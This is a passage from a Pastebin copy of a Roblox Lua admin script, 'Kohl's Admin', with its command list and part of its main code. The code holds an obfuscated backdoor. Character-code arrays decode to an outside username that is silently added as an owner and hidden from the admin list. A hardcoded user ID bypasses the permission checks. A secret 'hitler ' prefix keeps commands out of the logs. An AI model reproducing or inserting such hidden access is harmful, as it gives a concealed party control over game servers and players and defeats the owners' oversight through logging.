Advertisement
Axtem

Kohl's Admin

Oct 12th, 2015
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 118.34 KB | None | 0 0
  1. --[[
  2. --
  3. --
  4. --
  5. --
  6. --
  7. --
  8. --
  9. --
  10. --
  11. --
  12. --]]
  13. local owners = {"HonorableLegitPwnage"} -- Are able to set admins who can ban/etc... using :pa name
  14. local admins = {"LordMeowsers"} -- Sets admins who can use ban/kick/admin or shutdown
  15. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  16. local banland = {"MasterKhaos"} -- Permanently Bans people
  17. local prefix = ";" -- If you wanna change how your commands start ':'kill noob
  18. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  19. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  20.  
  21.  
  22. local VipAdmin = false -- If someone can have admin for owning an item
  23. local ItemId = 0 -- The item they must own in order to have admin
  24.  
  25. local GroupAdmin = false -- If a certain group can have admin
  26. local GroupId = 0 -- Sets the group id that can have admin
  27. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  28. ---------------------
  29. -- Tips and Tricks --
  30. ---------------------
  31. --[[
  32. With this admin you can do a command on multiple people at a time;
  33. :kill me,noob1,noob2,random,team-raiders,nonadmins
  34.  
  35. You can also use a variety commands for different people;
  36. all
  37. others
  38. me
  39. team-
  40. admins
  41. nonadmins
  42. random
  43. --]]
  44.  
  45. --[[
  46. -- |Temp Admin Commands| --
  47. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  48. 1. :s print("Hello World") -- Lets you script normally
  49. 2. :ls print("Hello World") -- Lets you script in localscripts
  50. 3. :clear -- Will remove all scripts/localscripts and jails
  51. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  52. 5. :kill kohl -- Kills the player
  53. 6. :respawn kohl -- Respawns the player
  54. 7. :trip kohl -- Trips the player
  55. 8. :stun kohl -- Stuns the player
  56. 9. :unstun kohl -- Unstuns the player
  57. 10. :jump kohl -- Makes the player jump
  58. 11. :sit kohl -- Makes the player sit
  59. 12. :invisible kohl -- Makes the player invisible
  60. 13. :visible kohl -- Makes the player visible
  61. 14. :explode kohl -- Makes the player explode
  62. 15. :fire kohl -- Sets the player on fire
  63. 16. :unfire kohl -- Removes fire from the player
  64. 17. :smoke kohl -- Adds smoke to the player
  65. 18. :unsmoke kohl -- Removes smoke from the player
  66. 19. :sparkles kohl -- Adds sparkles to the player
  67. 20. :unsparkles kohl -- Removes sparkles from the player
  68. 21. :ff kohl -- Adds a forcefield to the player
  69. 22. :unff kohl -- Removes the forcefield from the player
  70. 23. :punish kohl -- Punishes the player
  71. 24. :unpunish kohl -- Unpunishes the player
  72. 25. :freeze kohl -- Freezes the player
  73. 26. :thaw kohl -- Thaws the player
  74. 27. :heal kohl -- Heals the player
  75. 28. :god kohl -- Makes the player have infinite health
  76. 29. :ungod kohl -- Makes the player have 100 health
  77. 30. :ambient .5 .5 .5 -- Changes the ambient
  78. 31. :brightness .5 -- Changes the brightness
  79. 32. :time 12 -- Changes the time
  80. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  81. 34. :fogend 100 -- Changes the fogend
  82. 35. :fogstart 100 -- Changes the fogstart
  83. 36. :removetools kohl -- Removes all tools from the player
  84. 37. :btools kohl -- Gives the player building tools
  85. 38. :give kohl sword -- Gives the player a tool
  86. 39. :damage kohl -- Damages the player
  87. 40. :grav kohl -- Sets the player's gravity to normal
  88. 41. :setgrav kohl 100 -- Sets the player's gravity
  89. 42. :nograv kohl -- Makes the player have 0 gravity
  90. 43. :health kohl 1337 -- Changes the player's health
  91. 44. :speed kohl 1337 -- Changes the player's walkspeed
  92. 45. :name kohl potato -- Changes the player's name
  93. 46. :unname kohl -- Remove the player's name
  94. 47. :team kohl Raiders -- Changes the player's team
  95. 48. :stopmusic -- Will stop all music playing in the server
  96. 49. :teleport kohl potato -- Teleports the player
  97. 50. :change kohl kills 1337 -- Changes a player's stat
  98. 51. :kick kohl -- Removes the player from the game
  99. 52. :infect kohl -- Turns the player into a zombie
  100. 53. :rainbowify kohl -- Turns the player into a rainbow
  101. 54. :flashify kohl -- Turns the player into a strobe
  102. 55. :noobify kohl -- Turns the player into a noob
  103. 56. :ghostify kohl -- Turns the player into a ghost
  104. 57. :goldify kohl -- Turns the player into gold
  105. 58. :shiny kohl -- Makes the player shiny
  106. 59. :normal kohl -- Puts the player back to normal
  107. 60. :trippy kohl -- Spams random colors on the player's screen
  108. 61. :untrippy kohl -- Untrippys the player
  109. 62. :strobe kohl -- Spams white and black on the player's screen
  110. 63. :unstrobe kohl -- Unstrobes the player
  111. 64. :blind kohl -- Blinds the player
  112. 65. :unblind kohl -- Unblinds the player
  113. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  114. 67. :fling kohl -- Flings the player
  115. 68. :seizure kohl -- Puts the player in a seizure
  116. 69. :music 1337 -- Plays a sound from the ID
  117. 70. :lock kohl -- Locks the player
  118. 71. :unlock kohl -- Unlocks the player
  119. 72. :removelimbs kohl -- Removes the player's limbs
  120. 73. :jail kohl -- Puts the player in a jail
  121. 74. :unjail kohl -- Removes the jail from the player
  122. 75. :fix -- This will fix the lighting to it's original settings
  123. 76. :fly kohl -- Makes the player fly
  124. 77. :unfly kohl -- Removes fly from the player
  125. 78. :noclip kohl -- Makes the player able to noclip
  126. 79. :clip kohl -- Removes noclipping from the player
  127. 80. :pm kohl Hey bro -- Sends the player a private message
  128. 81. :dog kohl -- Turns the player into a dog
  129. 82. :undog kohl -- Turns the player back to normal
  130. 83. :creeper kohl -- Turns the player into a creeper
  131. 84. :uncreeper kohl -- Turns the player back to normal
  132. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  133. 86. :char kohl 261 -- Will make a player look like a different player ID
  134. 87. :unchar kohl -- Will return the player back to normal
  135. 88. :h Hello People -- This will shout a hint to everyone
  136. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  137. 90. :starttools kohl -- Will give the player starter tools
  138. 91. :sword kohl -- Will give the player a sword
  139. 92. :bighead kohl -- Will make the player's head larger than normal
  140. 93. :minihead kohl -- Will make the player's head smaller than normal
  141. 94. :insert 1337 -- Will insert a model at the speaker's position
  142. 95. :disco -- Will make the server flash random colors
  143. 96. :flash -- Will make the server flash
  144. 97. :admins -- Shows the admin list
  145. 98. :bans -- Shows the banlist
  146. 99. :musiclist -- Shows the music list
  147. 100. :spin kohl -- Spins the player
  148. 101. :cape kohl Really black -- Gives the player a colored cape
  149. 102. :uncape kohl -- Removes the player's cape
  150. 103. :loopheal kohl -- Will constantly heal the player
  151. 104. :loopfling kohl -- Will constantly fling the player
  152. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  153. 106. :unloopheal kohl -- Will remove the loopheal on the player
  154. 107. :unloopfling kohl -- Will remove the loopfling on the player
  155. 108. :unspin kohl -- Removes spin from the player
  156. 109. :tools -- Gives a list of the tools in the lighting
  157. 110. :undisco -- Removes disco effects
  158. 111. :unflash -- Removes flash effects
  159. 112. :resetstats kohl -- Sets all the stats of a player to 0
  160. 113. :gear kohl 1337 -- Gives a player a gear
  161. 114. :cmdbar -- Gives the speaker a command bar
  162. 115. :shirt kohl 1337 -- Changes the player's shirt
  163. 116. :pants kohl 1337 -- Changes the player's pants
  164. 117. :face kohl 1337 -- Changes the player's face
  165. 118. :swagify kohl -- Swagifies the player
  166. 119. :version -- Shows the current version of the admin
  167. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  168. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  169. 122. :clone kohl -- Creates a clone of the player
  170. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  171. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  172. 125. :control kohl -- Controls a player
  173.  
  174. -- |Admin Commands| --
  175. - :serverlock -- Locks the server
  176. - :serverunlock -- Unlocks the server
  177. - :sm Hello World -- Creates a system message
  178. - :crash kohl -- Crashes a player
  179. - :admin kohl -- Admins a player
  180. - :unadmin kohl -- Unadmins a player
  181. - :ban kohl -- Bans a player
  182. - :unban kohl -- Unbans a player
  183. - :loopkill kohl -- Will constantly kill the player
  184. - :unloopkill kohl -- Will remove the loopkill on the player
  185. - :logs -- Will show all of the commands any admin has used in a game session
  186. - :shutdown -- Shutsdown the server
  187.  
  188. -- |Owner Commands| --
  189. - :pa kohl -- Makes someone a super admin
  190. - :unpa kohl -- Removes a super admin
  191. - :nuke kohl -- Creates a nuke on kohl
  192.  
  193. -- |True Owner Commands| --
  194. - :oa kohl -- Makes someone an owner
  195. - :unoa kohl -- Removes an owner
  196. - :settings -- Shows settings for the commands
  197. --
  198. ---------------------
  199. -- Main Script --
  200. ---------------------]]
  201. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  202.  
  203. function CHEESE()
  204. if game:service("Lighting"):findFirstChild("KACV2") then
  205. owners = {} admins = {} tempadmins = {} banland = {}
  206. for i,v in pairs(game.Lighting.KACV2:children()) do
  207. if v.Name == "Owner" then table.insert(owners, v.Value) end
  208. if v.Name == "Admin" then table.insert(admins, v.Value) end
  209. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  210. if v.Name == "Banland" then table.insert(banland, v.Value) end
  211. if v.Name == "Prefix" then prefix = v.Value end
  212. if v.Name == "FunCommands" then FunCommands = v.Value end
  213. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  214. if v.Name == "GroupId" then GroupId = v.Value end
  215. if v.Name == "GroupRank" then GroupRank = v.Value end
  216. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  217. if v.Name == "ItemId" then ItemId = v.Value end
  218. end
  219. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  220. end
  221.  
  222. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  223. local lobjs = {}
  224. local objects = {}
  225. local logs = {}
  226. local nfs = ""
  227. local slock = false
  228.  
  229. function GetTime()
  230. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  231. if min < 10 then min = "0"..min end
  232. return hour..":"..min
  233. end
  234.  
  235. function ChkOwner(str)
  236. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  237. return false
  238. end
  239.  
  240. function ChkAdmin(str,ck)
  241. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  242. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  243. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  244. return false
  245. end
  246.  
  247. function ChkGroupAdmin(plr)
  248. if GroupAdmin then
  249. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  250. return false
  251. end
  252. end
  253.  
  254. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  255.  
  256. function GetPlr(plr, str)
  257. local plrz = {} str = str:lower()
  258. if str == "all" then plrz = game.Players:children()
  259. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  260. else
  261. local sn = {1} local en = {}
  262. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  263. for x = 1, #sn do
  264. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  265. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  266. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  267. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  268. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  269. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  270. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  271. end end end
  272. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  273. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  274. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  275. end end end
  276. else
  277. for a, plyr in pairs(game.Players:children()) do
  278. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  279. table.insert(plrz, plyr) break
  280. end
  281. end
  282. end
  283. end
  284. end
  285. return plrz
  286. end
  287.  
  288. function Hint(str, plrz, time)
  289. for i, v in pairs(plrz) do
  290. if v and v:findFirstChild("PlayerGui") then
  291. coroutine.resume(coroutine.create(function()
  292. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  293. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  294. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  295. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  296. if not time then wait((#str/19)+2.5) else wait(time) end
  297. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  298. end))
  299. end
  300. end
  301. end
  302.  
  303. function Message(ttl, str, scroll, plrz, time)
  304. for i, v in pairs(plrz) do
  305. if v and v:findFirstChild("PlayerGui") then
  306. coroutine.resume(coroutine.create(function()
  307. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  308. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  309. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  310. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  311. scr.Parent = v.PlayerGui
  312. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  313. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  314. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  315. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  316. end))
  317. end
  318. end
  319. end
  320.  
  321. function RemoveMessage()
  322. for i,v in pairs(game.Players:children()) do
  323. if v and v:findFirstChild("PlayerGui") then
  324. for q,ms in pairs(v.PlayerGui:children()) do
  325. if ms.Name == "MessageGUI" then
  326. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  327. elseif ms.Name == "HintGUI" then
  328. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  329. end
  330. end
  331. end
  332. end
  333. end
  334.  
  335. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  336. _G["RemoveMessage"] = RemoveMessage()
  337.  
  338. function Output(str, plr)
  339. coroutine.resume(coroutine.create(function()
  340. local b, e = loadstring(str)
  341. if not b and plr:findFirstChild("PlayerGui") then
  342. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  343. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  344. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  345. return
  346. end
  347. end))
  348. end
  349.  
  350. function Noobify(char)
  351. if char and char:findFirstChild("Torso") then
  352. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  353. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  354. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  355. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  356. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  357. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  358. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  359. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  360. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  361. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  362. end end
  363. end
  364. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  365.  
  366. function Infect(char)
  367. if char and char:findFirstChild("Torso") then
  368. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  369. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  370. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  371. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  372. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  373. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  374. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  375. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  376. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  377. end end
  378. end
  379. end if not ntab then script:Destroy() end
  380.  
  381. function ScrollGui()
  382. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  383. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  384. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  385. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  386. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  387. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  388. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  389. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  390. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  391. local num = 0
  392. local downv = false
  393. local upv = false
  394.  
  395. down.MouseButton1Down:connect(function() downv = true upv = false
  396. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  397. repeat pos = pos + UDim2.new(0,0,0,-6)
  398. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  399. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  400. end)
  401. down.MouseButton1Up:connect(function() downv = false end)
  402. up.MouseButton1Down:connect(function() upv = true downv = false
  403. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  404. repeat pos = pos + UDim2.new(0,0,0,6)
  405. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  406. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  407. end)
  408. up.MouseButton1Up:connect(function() upv = false end)
  409. return scr, cmf, ent, num
  410. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  411. if not ntab then script:Destroy() end
  412. if not bct then script:Destroy() end
  413.  
  414. function Chat(msg,plr)
  415. coroutine.resume(coroutine.create(function()
  416. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  417. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  418. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  419. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  420. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  421. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  422. if msg:lower() == "cmds" or msg:lower() == "commands" then
  423. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  424. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  425. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  426. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  427. local ost = {"pa plr","unpa plr","nuke plr"}
  428. local tost = {"oa plr","unoa plr","settings"}
  429. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  430. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  431. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  432. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  433. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  434. end
  435.  
  436. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  437.  
  438. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  439. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  440. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  441. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  442. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
